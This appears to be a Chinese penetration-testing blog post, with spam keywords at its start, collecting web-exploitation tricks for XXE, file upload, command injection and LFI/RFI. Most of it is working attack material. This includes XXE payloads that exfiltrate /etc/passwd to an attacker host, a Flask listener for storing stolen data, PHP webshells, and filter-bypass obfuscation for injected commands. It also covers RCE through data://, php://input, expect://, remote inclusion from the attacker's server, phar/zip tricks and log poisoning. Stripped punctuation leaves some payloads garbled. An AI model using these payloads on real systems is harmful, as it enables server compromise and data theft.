网站改版会影响收录吗,成立一个网站平台要多少钱,大学生创新创业大赛英文,ipad wordpress渗透测试--Web基础漏洞利用技巧 本文章写了Web基础漏洞中一些不那么常见的利用技巧#xff0c;而不谈及漏洞的原理以及常见用法。
SQL 俺是SQLmap党#xff0c;哈哈#xff0c;所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》
XXE
XXE组成… 渗透测试--Web基础漏洞利用技巧 本文章写了Web基础漏洞中一些不那么常见的利用技巧而不谈及漏洞的原理以及常见用法。
SQL 俺是SQLmap党哈哈所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》
XXE
XXE组成情况
钥匙定义例子TagXML 文档的键通常用 ( / ) 字符括起来。dateEntityXML 变量通常用 ( / ;) 字符括起来。lt;Element根元素或其任何子元素其值存储在开始标记和结束标记之间。date01-01-2022/dateAttribute存储在标签中的任何元素的可选规范可供 XML 解析器使用。version1.0/encodingUTF-8Declaration通常是 XML 文档的第一行定义解析时使用的 XML 版本和编码。?xml version1.0 encodingUTF-8?
XXE回显点
输入的xml中会回显的内容
报错位置可能存在回显点
!ENTITY % file SYSTEM file:///flag.php
!ENTITY % error !ENTITY content SYSTEM %nonExistingEntity;/%file;
服务器外带
#远程DTD文件
!ENTITY % file SYSTEM php://filter/convert.base64-encode/resource/etc/passwd
!ENTITY % oob !ENTITY content SYSTEM http://OUR_IP:8000/?content%file;#XXE攻击交互
?xml version1.0 encodingUTF-8?
!DOCTYPE email [ !ENTITY % remote SYSTEM http://OUR_IP:8000/xxe.dtd%remote;%oob;
]
rootcontent;/root###外带python搭建服务器个人使用不喜勿喷
###解码后的文件存储于服务器中传输成功显示404。
from flask import Flask, request, jsonify
import base64
import os
import uuid
from datetime import datetimeapp Flask(__name__)# 定义存储文件的目录
SAVE_DIRECTORY decoded_files# 如果目录不存在则创建目录
if not os.path.exists(SAVE_DIRECTORY):os.makedirs(SAVE_DIRECTORY)app.route(/decode, methods[GET])
def decode_content():content request.args.get(content)if content:try:# Base64 解码decoded_content base64.b64decode(content).decode(utf-8)# 生成唯一文件名file_name f{datetime.now().strftime(%Y%m%d_%H%M%S)}_{str(uuid.uuid4())}.txtfile_path os.path.join(SAVE_DIRECTORY, file_name)# 将解码后的内容写入文件with open(file_path, w, encodingutf-8) as f:f.write(decoded_content)return jsonify({status: Notfound,message: 404})except Exception as e:return jsonify({status: error,message: fError decoding base64 content: {str(e)}})else:return jsonify({status: error,message: No content parameter found in the request.})if __name__ __main__:app.run(debugTrue, host0.0.0.0, port5000)XXE导致任意文件读取
#无害实体
!DOCTYPE email [!ENTITY company Inlane Freight
]#文件泄露
!DOCTYPE email [!ENTITY company SYSTEM file:///etc/passwd
]#源代码获取
!DOCTYPE email [!ENTITY company SYSTEM php://filter/convert.base64-encode/resourceindex.php
]#输出文件内容不以XML格式生成
!DOCTYPE email [!ENTITY % begin ![CDATA[!ENTITY % file SYSTEM file:///var/www/html/submitDetails.php !ENTITY % end ]] !ENTITY % xxe SYSTEM http://10.10.16.20/xxe.dtd %xxe;
]#引用实体
company;
XXE导致SSRF
XXE导致RCE
#RCE
!DOCTYPE email [!ENTITY company SYSTEM php://expect:
]
XXE自动化工具
https://github.com/enjoiz/XXEinjector
XSS 基本的绕过手段都在网上可查
文件上传
文件上传木马文件 老生常谈了基本的文件上传利用在此不做赘述我知道你们喜欢更有意思的
文件上传导致XSS 如果上传文件的内容在HTLM当中存在回显我们应当十分注意这可能造成XSS。造成XSS主要有以下情况 1.接受文件接受HTLM的文档有时候开发人员会犯一点小错误也就是说HTML会解析JS 2.接受文件内容以未编码形式展示在HTLM页面中那么我们可以送他们一个来闭合他们的标签 3.接受文件名可能会回显例如我们好心的开发人员会再次念出我们文件的名字。 接受文件接受HTLM的文档
###上传文件HTML#发送HTML页面代码
bodydivHey Guys!/div
scriptalert(You are pWn3d!)/script
/body#服务器端接受并解析HTLM文件
bodydivHey Guys!/div
scriptalert(You are pWn3d!)/script
/body
接受文件内容以未编码形式展示在HTLM页面中
###接受文件内容未编码情况嵌入HTML中
#上传文件
filenameevil.jpg
contentimg src1 onerroralert(1)
#接受未编码jpg文件的内容直接放出来
bodyimgimg src1 onerroralert(1)
body 接受文件名可能会回显
###接受文件名回显
#上传文件
filenamescriptalert(1)/script.txt#上传成功页面
bodyp 恭喜你上传成功scriptalert(1)script.txt文件 /p
body
文件上传导致XXE svg文件的上传点可能导致XXE问题因为svg文件本身是以xml解析的如果没有很好的控制XXE就会冒头。
###svg文件上传导致XXE
#上传文件
?xml version1.0 encodingUTF-8?
!DOCTYPE svg [ !ENTITY xxe SYSTEM file:///etc/passwd ]
svgxxe;/svg?xml version1.0 encodingUTF-8?
!DOCTYPE svg [ !ENTITY xxe SYSTEM php://filter/convert.base64-encode/resourceindex.php ]
svgxxe;/svg#svg文件被接受并作为头像
很好他死了 文件上传绕过黑名单 枚举可扩展名总有一款适合他 文件上传绕过白名单 双扩展 反向双扩展 字符注入 双扩展
#只接受.jpg
.php.jpg
反向双扩展
#只接受.jpg
.jpg.php
字符注入
#只接受.jpg
.jpg{char}.phpchar [
%00,
%0a,
%20,
%0d0a,
.\,
/,
.,
...,
:
]
寻找文件上传位置 上传了宝贝这种好事儿总不能让服务器一个人独享我们必须找到他。 过长文件名让应用报错 发送已经存在的文件 在页面中查看图片的引用位置 命令注入 命令注入是我们非常期望的东西了因为他可以直接造成RCE这很严重。自然这种攻击的防护也就最为众多。我们需要总结出一套绕过他们的手段。
命令注入可以注入的操作字符
注入操作符注塑件URL 编码字符执行的命令分号;%3b两个都新线\n%0a两个都背景%26两者第二个输出通常首先显示管道|%7c两者仅显示第二个输出和%26%26两者仅当第一个成功时或者||%7c%7c第二仅当第一失败时子壳%60%60两者仅限 Linux子壳$()%24%28%29两者仅限 Linux
注射类型运算符SQL 注入 , ; -- /* */命令注入; LDAP 注入* ( ) |XPath 注入 or and not substring concat count操作系统命令注入; |代码注入 ; -- /* */ $() ${} #{} %{} ^目录遍历/文件路径遍历../ ..\\ %00对象注入; |XQuery 注入 ; -- /* */Shellcode 注入\x \u %u %n标头注入\n \r\n \t %0d %0a %09
黑名单绕过之字符替换
%09 空格替代${IFS} 制表符和空格{ls,-al} 等于ls -al,可用于替代空格${PATH:0:1} 等于/ 该方法的原理是使用了Linux中的环境变量和字符串切割${LS_COLORS:10:1} 等于; 该方法的原理是使用了Linux中的环境变量和字符串切割$env:HOMEPATH[0] 等于/ 该方法的原理是使用了Win中的环境变量和字符串切割$env:PROGRAMFILES[10] 等于空格 该方法的原理是使用了Win中的环境变量和字符串切割 等于空气 bash语言会无视它whoami 等于空气 bash语言会无视它 $ 等于空气 bash语言会无视它 \ 等于空气 bash语言会无视它 WhAMi 大小写大法 仅适用于Windows 使用案例
#base64编码
echo -n cat /etc/passwd | grep 33 | base64#Linux
$(tr [A-Z] [a-z]WhOaMi)
$(aWhOaMi;printf %s ${a,,})
$(revimaohw)
$(imaohw[-1..-20] -join )
$(base64 -dY2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw) ##实际尝试发现这种情况下不能编码空格
{base64,-d}Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw ##这种方式可以编码空格#Windows
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(dwBoAG8AYQBtAGkA)))自动化工具Bashfuscator
Linux - 我们可以利用BashfuscatorWindows - DOSfuscation
LFI
可能发生包含的语言 PHP NodeJS Java .net data协议包含执行导致RCE
cmundy2htb[/htb]$ curl -s http://SERVER_IP:PORT/index.php?languagedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3Dcmdid | grep uiduid33(www-data) gid33(www-data) groups33(www-data)
php伪协议包含执行导致RCE
cmundy2htb[/htb]$ curl -s -X POST --data ?php system($_GET[cmd]); ? http://SERVER_IP:PORT/index.php?languagephp://inputcmdid | grep uiduid33(www-data) gid33(www-data) groups33(www-data)
expect函数执行URL流导致RCE
##在后端服务器安装expect#检验是否暗装expect
echo W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo | base64 -d | grep expectextensionexpect#若开启该插件那么就可以RCE而不需要webshell
cmundy2htb[/htb]$ curl -s http://SERVER_IP:PORT/index.php?languageexpect://id
uid33(www-data) gid33(www-data) groups33(www-data)
RFI从远程FTP服务器执行文件导致RCE
cmundy2htb[/htb]$ curl http://SERVER_IP:PORT/index.php?languageftp://user:passlocalhost/shell.phpcmdid
...SNIP...
uid33(www-data) gid33(www-data) groups33(www-data)
RFI从远程HTTP服务器执行文件导致RCE
http://SERVER_IP:PORT/index.php?languagehttp://OUR_IP:LISTENING_PORT/shell.phpcmdid
RFI从远程SMB服务器执行文件导致RCE
http://SERVER_IP:PORT/index.php?language\\OUR_IP\share\shell.phpcmdwhoami
LFI包含任意扩展名文件 不论是本地的还是远程的皆有可能3 ###gif包含
cmundy2htb[/htb]$ echo GIF8?php system($_GET[cmd]); ? shell.gif
http://SERVER_IP:PORT/index.php?language./profile_images/shell.gifcmdid###PHP包含
cmundy2htb[/htb]$ echo ?php system($_GET[cmd]); ? shell.php zip shell.jpg shell.php
http://SERVER_IP:PORT/index.php?languagezip://./profile_images/shell.jpg%23shell.phpcmdid###phar包含
cat shell.php?php
$phar new Phar(shell.phar);
$phar-startBuffering();
$phar-addFromString(shell.txt, ?php system($_GET[cmd]); ?);
$phar-setStub(?php __HALT_COMPILER(); ?);$phar-stopBuffering();#构造phar文件
cmundy2htb[/htb]$ php --define phar.readonly0 shell.php mv shell.phar shell.jpghttp://SERVER_IP:PORT/index.php?languagephar://./profile_images/shell.jpg%2Fshell.txtcmdid
向日志投毒然后使用LFI包含日志导致RCE
#修改Agent 将php代码写入日志当中#然后爆破日志位置#根据日志位置包含日志执行php脚本
http://SERVER_IP:PORT/index.php?language/var/log/apache2/access.log#这些都可以
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
/proc/self/environ
/proc/self/fd/N
自动化手段
最常见的 LFI 工具是LFISuite、LFiFreak和liffy